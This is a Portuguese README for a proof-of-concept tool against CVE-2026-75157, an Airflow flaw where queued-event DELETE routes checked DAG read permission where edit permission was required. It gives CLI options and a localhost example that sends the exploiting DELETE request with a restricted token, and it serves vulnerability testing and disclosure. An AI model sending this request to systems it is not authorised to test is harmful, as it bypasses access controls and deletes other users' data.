
PoC HTTP universal autorizado e independente para CVE-2026-75157
PoC de pesquisa de segurança autorizada para a falha de autorização de eventos em fila do Apache Airflow em versões anteriores à 3.3.2.
Execute apenas contra uma instância do Airflow que você possui ou está explicitamente autorizado a testar. O executor padrão recusa alvos que não sejam loopback. Este repositório não contém lógica de varredura, enumeração de alvos, persistência, roubo de credenciais ou payload destrutivo.
README.md
poc.py
poc.py é um executor universal de requisições HTTP ciente do alvo. Ele aceita a URL de destino, método, caminho, cabeçalhos, corpo, fonte de autenticação e resultado esperado a partir da linha de comando, em vez de codificar um host fixo.
Verificação de integridade contra um laboratório Airflow local:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
Acionamento da CVE contra uma instância Airflow vulnerável local já preparada:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
O token deve pertencer a um principal descartável com acesso de leitura a DAG e acesso de exclusão a Assets. O comportamento vulnerável esperado é que o principal restrito consiga excluir o evento em fila. O Airflow 3.3.2 ou posterior deve rejeitar a mesma requisição, a menos que o principal também tenha acesso de edição a DAG.
--target URL Alvo HTTP(S) absoluto obrigatório
--path PATH Caminho opcional concatenado a --target
--method METHOD GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value' Cabeçalho de requisição repetível
--bearer-env ENV Lê um token bearer de ENV sem imprimi-lo
--json JSON Corpo da requisição em JSON
--body-file FILE Corpo bruto da requisição
--expect-status STATUS Asserção de status esperado repetível
--expect-body TEXT Asserção de corpo de resposta repetível
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback Opt-in explícito para um alvo autorizado que não seja de laboratório
O executor retorna código de saída 0 para uma asserção aprovada, 1 para erros de escopo/transporte/argumento e 2 para uma falha de asserção HTTP. Valores de autorização e cookie são redigidos na saída.
Antes do Airflow 3.3.2, as rotas DELETE de eventos em fila verificavam o eixo DAG com permissão de leitura em vez de permissão de edição. A correção altera o requisito de autorização de DAG para a permissão de nível de escrita. Este PoC envia a requisição HTTP real; ele não cria o usuário de laboratório nem o fixture de banco de dados.